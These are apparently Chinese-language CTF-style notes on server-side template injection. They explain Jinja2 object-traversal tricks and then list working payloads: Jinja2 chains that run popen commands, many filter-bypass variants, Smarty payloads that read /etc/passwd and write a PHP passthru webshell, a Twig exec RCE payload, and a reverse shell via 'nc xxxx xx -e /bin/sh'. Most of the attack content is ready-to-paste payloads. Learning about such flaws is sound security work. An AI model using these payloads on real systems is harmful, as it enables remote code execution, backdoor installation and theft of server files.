SSTI
SSTI
模板引擎:动态数据和静态模板结合产生的输出工具
ssti:是服务器端的模板注入漏洞
攻击者 将恶意代码输入到模板 服务器在执行时未对恶意代码进行处理 就输出执行
将字符串 当作模板执行
ssti注入就是使其渲染我们想要执行的的字符串
为什么要用{}
{{}}
在jinja2中作为变量包裹标识符,也就是被{{}}
包裹的内容会被当作变量解析出来
所以{{恶意代码}} 实现类似SQL注入
魔术方法
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
read():读取打开了的文件的内容
继承关系
创建四个类 依次继承
在创建一个C的对象c,用__class__
找到他当前的类
返回类为C 接着找父类
返回为B 接着找父类 直到父类为object
或者直接一步到位使用__mro__
__mro__
方法以数组的形式返回 可以传入’标‘ 得到想要的数组
得到object之后 查看object类下的所有的子类
我们最终的目的是为执行命令获取字段 所以要找能执行命令的函数,如
popen
,eval
和system()
函数或者能打开文件的函数open
一般情况下会用popen
函数 因为system()
函数没回显,popen
函数有回显
所以 需要知道这些子类里面哪个有能执行命令的函数
<wrap_close>
子类就是其中之一
接着初始化 初始化相当于 创建一个新的实例
然后用__globals__
方法将获取到的方法以字典的形式返回
接下来 可以用popen
函数执行命令 执行一下whoami
绕过
{{"".__class__}}
绕过.
用[]
代替.
{{""['__class__']}}
用attr()过滤器绕过
{{""|sttr('__class__')}}
绕过_
十六进制编码
{{“”["\x5f\x5fclass\x5f\x5f"]}}
绕过[]
用__getitem__
魔术方法
__subclasses()__.__getitem__(133)
绕过{
{%print(xxxxxxxxxxxx)%}
{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}
for循环
{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
绕过'
和"
采用 request.args.a
{{url_for.__globals__['__builtins__']}} 等于
{{url_for.__globals__[request.args.a]}}&a=__builtins__
绕过args
当args被过滤掉时,采用request.cookies.a
和request.values.a
{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'
绕过数字
构造的数字
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}} #117
10个a*12个a-3个a=117个a
构造paylaod
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
绕过关键字
拼接绕过 如 __class__
{{dict(__cla=a,s=b)|join}}
过滤url_for
可将 url_for
可替换为``get_flashed_messages 或者
request.init或者
request.application`.
chr函数
chr()
在builtins
里
chr(65)
65是ascii码表对应值
示例payload
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.popen('ls').read()}}
chr函数的
{%set chr=''.__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__.popen('ls').read()}}
再补充一下,参考链接
Smarty
#eg:任意文件读取
string:{include file='[file path]'}
{self::getStreamVariable("file:///etc/passwd")}
#eg:写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
#eg:RCE
{if phpinfo()}{/if}
Twig的RCE
固定的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("[Command]")}}
将[Command]
换为Shell命令就行。
其中exec()作为回调函数传进去,实现了命令执行
反弹shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL